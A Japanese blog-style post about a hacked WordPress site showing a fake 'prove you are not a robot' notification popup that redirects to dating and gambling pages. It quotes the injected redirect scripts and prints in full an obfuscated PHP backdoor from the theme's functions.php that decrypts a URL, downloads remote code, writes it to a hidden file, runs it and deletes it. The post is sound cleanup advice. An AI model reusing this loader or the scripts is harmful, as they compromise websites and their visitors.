ワードプレスのサイトを開くと警告がでて困っていると相談がありました。下記のような「許可をクリックして、ロボットではないことを確認してください。」と別画面が開き、別のサイトに誘導されます。WordPressのバージョンは6.1.1
ポップアップも、通知も無効していても、画面が表示されます。厄介のは、表示されたりされなかったりします。
サーバで出しているものか? ワードプレスなのか? テーマなのかが不明でした。
誘導画面がでる場合はindex.htmlの頭に(上に)下記のコードが追加されています。
<script>
var popunder = {expire: 0, url: "https://datingworld.top/robot/?u=mr1kd0x&o=f5gbqv5&t=push4&cid=22vrof1dc7sene&tb=https%3A%2F%2Fbig-win.life%2F%3Fu%3Dmr1kd0x%26o%3Df5pp7z3%26t%3Dp4%26cid%3D%7Bsubid%7D"};
</script>
<script src="https://qwasdrgqwdasd.winbestprizess.info/palasekddq2hf45ysm.js"></script>
URLエンコードを直すと https://big-win.life/?u=mr1kd0x&o=f5pp7z3&t=p4&cid={subid}となります。
試しに
<script>
var popunder = yahoo.co.jp;
</script>
<script src="https://qwasdrgqwdasd.winbestprizess.info/palasekddq2hf45ysm.js"></script>
とすると、Googleが表示されます。
<script>
var popunder = {expire: 0, url: "https://yahoo.co.jp/?u=mr1kd0x&o=f5gbqv5&t=push4&cid=22vrof1dc7sene&tb=https%3A%2F%2Fbig-win.life%2F%3Fu%3Dmr1kd0x%26o%3Df5pp7z3%26t%3Dp4%26cid%3D%7Bsubid%7D"};
</script>
<script src="https://qwasdrgqwdasd.winbestprizess.info/palasekddq2hf45ysm.js"></script>
このようにすると、Yahooが表示されます。ワードプレスの全ファイルとデータベースをスキャンしてもこの文書の一部に該当する、文字はありません。どうやら暗号化されているようです。
書き換わる前のワードプレスとテーマファイルを用意して比較してみました。
すると、テーマのfunctions.phpが書き換わっていました。先頭に以下のコードが追加されいます。
さらに template-config.php が新たに入っていました。
<?php
@include(' template-config.php ');
@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c8oCrPYgfAwH7Z8bIfCUPxfXN70cmCWIX7HVoQ==";
if (!function_exists('get_data_ya')) {
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
}
if (!function_exists('wp_cd')) {
function wp_cd($fd, $fa="") {
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
return $fd^$ff;
}
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
$zeeta = "yup";
}
簡単に戻すなら、この追加された部分を消してください。
template-config.phpも消してください。
多分、IDとパスワードで乗っ取られた可能性があります。複雑なパスワードにすることをお勧めします。